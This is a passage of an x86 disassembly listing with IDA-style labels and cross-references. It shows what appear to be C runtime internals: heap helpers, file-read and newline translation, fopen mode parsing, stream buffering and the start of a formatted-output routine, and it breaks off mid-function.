loc_41F706:				; CODE XREF: sub_41F676+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F6CB


loc_41F70E:				; CODE XREF: sub_41F676+53j
		lea	esi, [ecx+8]


loc_41F711:				; CODE XREF: sub_41F676+EBj
					; sub_41F676+F2j
		cmp	esi, edi
		jnb	short loc_41F793
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F793
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F763
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F729:				; CODE XREF: sub_41F676+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F753
		inc	ebx
		inc	eax
		jmp	short loc_41F729
; ---------------------------------------------------------------------------


loc_41F732:				; CODE XREF: sub_41F676+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F743
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F74C
; ---------------------------------------------------------------------------


loc_41F743:				; CODE XREF: sub_41F676+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F74C:				; CODE XREF: sub_41F676+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F789
; ---------------------------------------------------------------------------


loc_41F753:				; CODE XREF: sub_41F676+B6j
		cmp	eax, edx
		jnb	short loc_41F76A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F793
		mov	esi, ebx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F763:				; CODE XREF: sub_41F676+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F76A:				; CODE XREF: sub_41F676+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F77B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F784
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F676+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F784:				; CODE XREF: sub_41F676+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F789:				; CODE XREF: sub_41F676+40j
					; sub_41F676+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F795
; ---------------------------------------------------------------------------


loc_41F793:				; CODE XREF: sub_41F676+7Ej
					; sub_41F676+9Dj ...
		xor	eax, eax


loc_41F795:				; CODE XREF: sub_41F676+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F79A	proc near		; CODE XREF: sub_41B9D2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F7D4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F834
; ---------------------------------------------------------------------------


loc_41F7D4:				; CODE XREF: sub_41F79A+26j
		jnb	short loc_41F83B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F83B
		lea	eax, [ecx+edx]


loc_41F7E9:				; CODE XREF: sub_41F79A+59j
		cmp	eax, esi
		jnb	short loc_41F7F7
		cmp	byte ptr [eax],	0
		jnz	short loc_41F7F5
		inc	eax
		jmp	short loc_41F7E9
; ---------------------------------------------------------------------------


loc_41F7F5:				; CODE XREF: sub_41F79A+56j
		cmp	eax, esi


loc_41F7F7:				; CODE XREF: sub_41F79A+51j
		jnz	short loc_41F83B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F82F
		cmp	esi, eax
		jbe	short loc_41F82F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F826
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F821


loc_41F81A:				; CODE XREF: sub_41F79A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F81A


loc_41F821:				; CODE XREF: sub_41F79A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F82F
; ---------------------------------------------------------------------------


loc_41F826:				; CODE XREF: sub_41F79A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F82F:				; CODE XREF: sub_41F79A+68j
					; sub_41F79A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F834:				; CODE XREF: sub_41F79A+38j
		mov	[ebp+var_4], 1


loc_41F83B:				; CODE XREF: sub_41F79A:loc_41F7D4j
					; sub_41F79A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F79A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F843	proc near		; CODE XREF: sub_41B8EA+A9p
					; sub_41C31F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F917
		test	al, 40h
		jnz	loc_41F917
		test	al, 2
		jz	short loc_41F869
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F917
; ---------------------------------------------------------------------------


loc_41F869:				; CODE XREF: sub_41F843+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F87D
		push	esi
		call	sub_42421A
		pop	ecx
		jmp	short loc_41F882
; ---------------------------------------------------------------------------


loc_41F87D:				; CODE XREF: sub_41F843+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F882:				; CODE XREF: sub_41F843+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F91C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F906
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F906
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F8DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F8C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DE360[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F8C9
; ---------------------------------------------------------------------------


loc_41F8C4:				; CODE XREF: sub_41F843+6Bj
		mov	edi, offset dword_43F8C0


loc_41F8C9:				; CODE XREF: sub_41F843+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F8DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F8DB:				; CODE XREF: sub_41F843+62j
					; sub_41F843+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F8F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F8F8
		test	ch, 4
		jnz	short loc_41F8F8
		mov	dword ptr [esi+18h], 1000h


loc_41F8F8:				; CODE XREF: sub_41F843+9Fj
					; sub_41F843+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F906:				; CODE XREF: sub_41F843+55j
					; sub_41F843+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F917:				; CODE XREF: sub_41F843+Aj
					; sub_41F843+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F91C	proc near		; CODE XREF: sub_41B8EA+90p
					; sub_41F843+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DE460
		jnb	loc_41FAF9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DE360h[eax*4]
		mov	eax, dword_4DE360[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FAF9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F9D1
		test	dl, 2
		jnz	short loc_41F9D1
		test	dl, 48h
		jz	short loc_41F991
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F991
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F991:				; CODE XREF: sub_41F91C+56j
					; sub_41F91C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4280E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F9E4
		call	dword_42808C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F9CC
		mov	dword_4DE02C, 9
		mov	dword_4DE030, ecx
		jmp	loc_41FB0A
; ---------------------------------------------------------------------------


loc_41F9CC:				; CODE XREF: sub_41F91C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F9D8


loc_41F9D1:				; CODE XREF: sub_41F91C+4Cj
					; sub_41F91C+51j
		xor	eax, eax
		jmp	loc_41FB0D
; ---------------------------------------------------------------------------


loc_41F9D8:				; CODE XREF: sub_41F91C+B3j
		push	eax
		call	sub_420BDF
		pop	ecx
		jmp	loc_41FB0A
; ---------------------------------------------------------------------------


loc_41F9E4:				; CODE XREF: sub_41F91C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FAF4
		test	edx, edx
		jz	short loc_41FA09
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FA09
		or	al, 4
		jmp	short loc_41FA0B
; ---------------------------------------------------------------------------


loc_41FA09:				; CODE XREF: sub_41F91C+E2j
					; sub_41F91C+E7j
		and	al, 0FBh


loc_41FA0B:				; CODE XREF: sub_41F91C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FAEE


loc_41FA23:				; CODE XREF: sub_41F91C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FADE
		cmp	al, 0Dh
		jz	short loc_41FA3F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FAD0
; ---------------------------------------------------------------------------


loc_41FA3F:				; CODE XREF: sub_41F91C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FA5D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FA54
		add	[ebp+arg_8], 2
		jmp	short loc_41FAB2
; ---------------------------------------------------------------------------


loc_41FA54:				; CODE XREF: sub_41F91C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FAD0
; ---------------------------------------------------------------------------


loc_41FA5D:				; CODE XREF: sub_41F91C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4280E8	; ReadFile
		test	eax, eax
		jnz	short loc_41FA85
		call	dword_42808C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41FACC


loc_41FA85:				; CODE XREF: sub_41F91C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FACC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FAA7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FAB2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FAD0
; ---------------------------------------------------------------------------


loc_41FAA7:				; CODE XREF: sub_41F91C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FAB7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FAB7


loc_41FAB2:				; CODE XREF: sub_41F91C+136j
					; sub_41F91C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FACF
; ---------------------------------------------------------------------------


loc_41FAB7:				; CODE XREF: sub_41F91C+18Ej
					; sub_41F91C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422FE4
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FAD0


loc_41FACC:				; CODE XREF: sub_41F91C+167j
					; sub_41F91C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FACF:				; CODE XREF: sub_41F91C+199j
		inc	edi


loc_41FAD0:				; CODE XREF: sub_41F91C+11Ej
					; sub_41F91C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FA23
		jmp	short loc_41FAEE
; ---------------------------------------------------------------------------


loc_41FADE:				; CODE XREF: sub_41F91C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FAEE
		or	al, 2
		mov	[esi], al


loc_41FAEE:				; CODE XREF: sub_41F91C+101j
					; sub_41F91C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FAF4:				; CODE XREF: sub_41F91C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FB0D
; ---------------------------------------------------------------------------


loc_41FAF9:				; CODE XREF: sub_41F91C+12j
					; sub_41F91C+39j
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9


loc_41FB0A:				; CODE XREF: sub_41F91C+ABj
					; sub_41F91C+C3j
		or	eax, 0FFFFFFFFh


loc_41FB0D:				; CODE XREF: sub_41F91C+B7j
					; sub_41F91C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F91C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB12	proc near		; CODE XREF: sub_41B9D2+126p
					; sub_41B9D2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DE0B0
		test	eax, eax
		jz	short loc_41FB2A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FB2A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FB2A:				; CODE XREF: sub_41FB12+7j
					; sub_41FB12+12j
		xor	eax, eax
		retn
sub_41FB12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB2D	proc near		; CODE XREF: sub_41BC72+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DE21C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FB66
		cmp	al, 72h
		jz	short loc_41FB5F
		cmp	al, 77h
		jnz	loc_41FC7A
		mov	ecx, 301h
		jmp	short loc_41FB6B
; ---------------------------------------------------------------------------


loc_41FB5F:				; CODE XREF: sub_41FB2D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FB6E
; ---------------------------------------------------------------------------


loc_41FB66:				; CODE XREF: sub_41FB2D+1Dj
		mov	ecx, 109h


loc_41FB6B:				; CODE XREF: sub_41FB2D+30j
		or	esi, 2


loc_41FB6E:				; CODE XREF: sub_41FB2D+37j
		push	1
		pop	edx


loc_41FB71:				; CODE XREF: sub_41FB2D+8Bj
					; sub_41FB2D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FC60
		cmp	edx, ebx
		jz	loc_41FC60
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FBFF
		jz	short loc_41FBEF
		sub	eax, 2Bh
		jz	short loc_41FBD9
		sub	eax, 19h
		jz	short loc_41FBCF
		sub	eax, 0Eh
		jz	short loc_41FBBA
		dec	eax
		jnz	loc_41FC51
		cmp	[ebp+var_4], ebx
		jnz	loc_41FC51
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FB71
; ---------------------------------------------------------------------------


loc_41FBBA:				; CODE XREF: sub_41FB2D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FC51
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FB71
; ---------------------------------------------------------------------------


loc_41FBCF:				; CODE XREF: sub_41FB2D+6Aj
		test	cl, 40h
		jnz	short loc_41FC51
		or	ecx, 40h
		jmp	short loc_41FB71
; ---------------------------------------------------------------------------


loc_41FBD9:				; CODE XREF: sub_41FB2D+65j
		test	cl, 2
		jnz	short loc_41FC51
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FB71
; ---------------------------------------------------------------------------


loc_41FBEF:				; CODE XREF: sub_41FB2D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FC51
		or	ecx, eax
		jmp	loc_41FB71
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FB2D+5Ej
		sub	eax, 62h
		jz	short loc_41FC4C
		dec	eax
		jz	short loc_41FC35
		sub	eax, 0Bh
		jz	short loc_41FC1E
		sub	eax, 6
		jnz	short loc_41FC51
		test	ch, 0C0h
		jnz	short loc_41FC51
		or	ch, 40h
		jmp	loc_41FB71
; ---------------------------------------------------------------------------


loc_41FC1E:				; CODE XREF: sub_41FB2D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FC51
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FB71
; ---------------------------------------------------------------------------


loc_41FC35:				; CODE XREF: sub_41FB2D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FC51
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FB71
; ---------------------------------------------------------------------------


loc_41FC4C:				; CODE XREF: sub_41FB2D+D5j
		test	ch, 0C0h
		jz	short loc_41FC58


loc_41FC51:				; CODE XREF: sub_41FB2D+72j
					; sub_41FB2D+7Bj ...
		xor	edx, edx
		jmp	loc_41FB71
; ---------------------------------------------------------------------------


loc_41FC58:				; CODE XREF: sub_41FB2D+122j
		or	ch, 80h
		jmp	loc_41FB71
; ---------------------------------------------------------------------------


loc_41FC60:				; CODE XREF: sub_41FB2D+4Aj
					; sub_41FB2D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42425E
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FC7E


loc_41FC7A:				; CODE XREF: sub_41FB2D+25j
		xor	eax, eax
		jmp	short loc_41FC98
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41FB2D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DE104
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FC98:				; CODE XREF: sub_41FB2D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC9D	proc near		; CODE XREF: sub_41BC72p
		mov	edx, dword_4DF480
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FD0E
		mov	ebx, dword_4DE464
		mov	edi, ebx


loc_41FCB9:				; CODE XREF: sub_41FC9D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FCD4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FCCF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FCB9
		jmp	short loc_41FD0E
; ---------------------------------------------------------------------------


loc_41FCCF:				; CODE XREF: sub_41FC9D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FCF8
; ---------------------------------------------------------------------------


loc_41FCD4:				; CODE XREF: sub_41FC9D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BCA5
		pop	ecx
		mov	ecx, dword_4DE464
		mov	[edi+ecx], eax
		mov	eax, dword_4DE464
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FD0E
		mov	esi, edi


loc_41FCF8:				; CODE XREF: sub_41FC9D+35j
		cmp	esi, ebp
		jz	short loc_41FD0E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FD0E:				; CODE XREF: sub_41FC9D+12j
					; sub_41FC9D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FC9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD15	proc near		; CODE XREF: sub_41BEBE+17p
					; sub_41BEBE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FD33
		mov	ecx, off_43EFE8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FD85
; ---------------------------------------------------------------------------


loc_41FD33:				; CODE XREF: sub_41FD15+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43EFE8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FD58
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FD61
; ---------------------------------------------------------------------------


loc_41FD58:				; CODE XREF: sub_41FD15+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FD61:				; CODE XREF: sub_41FD15+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_424517
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FD81
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FD81:				; CODE XREF: sub_41FD15+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FD85:				; CODE XREF: sub_41FD15+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FD15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD8A	proc near		; CODE XREF: sub_41C056+46p
					; sub_41C150+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FE93
		test	al, 40h
		jnz	loc_41FE93
		test	al, 1
		jz	short loc_41FDC2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FE93
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FDC2:				; CODE XREF: sub_41FD8A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FDFC
		cmp	esi, offset dword_43F5D8
		jz	short loc_41FDEA
		cmp	esi, offset dword_43F5F8
		jnz	short loc_41FDF5


loc_41FDEA:				; CODE XREF: sub_41FD8A+56j
		push	ebx
		call	sub_424660
		test	eax, eax
		pop	ecx
		jnz	short loc_41FDFC


loc_41FDF5:				; CODE XREF: sub_41FD8A+5Ej
		push	esi
		call	sub_42421A
		pop	ecx


loc_41FDFC:				; CODE XREF: sub_41FD8A+4Ej
					; sub_41FD8A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FE69
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FE2C
		push	edi
		push	eax
		push	ebx
		call	sub_4231D6
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FE5F
; ---------------------------------------------------------------------------


loc_41FE2C:				; CODE XREF: sub_41FD8A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FE47
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DE360[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FE4C
; ---------------------------------------------------------------------------


loc_41FE47:				; CODE XREF: sub_41FD8A+A5j
		mov	eax, offset dword_43F8C0


loc_41FE4C:				; CODE XREF: sub_41FD8A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FE5F
		push	2
		push	0
		push	ebx
		call	sub_422FE4
		add	esp, 0Ch


loc_41FE5F:				; CODE XREF: sub_41FD8A+A0j
					; sub_41FD8A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FE7D
; ---------------------------------------------------------------------------


loc_41FE69:				; CODE XREF: sub_41FD8A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4231D6
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FE7D:				; CODE XREF: sub_41FD8A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FE89
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FE98
; ---------------------------------------------------------------------------


loc_41FE89:				; CODE XREF: sub_41FD8A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FE9B
; ---------------------------------------------------------------------------


loc_41FE93:				; CODE XREF: sub_41FD8A+10j
					; sub_41FD8A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FE98:				; CODE XREF: sub_41FD8A+FDj
		or	eax, 0FFFFFFFFh


loc_41FE9B:				; CODE XREF: sub_41FD8A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FD8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE9F	proc near		; CODE XREF: sub_41C056+29p
					; sub_41C150+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_4205B8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FED3
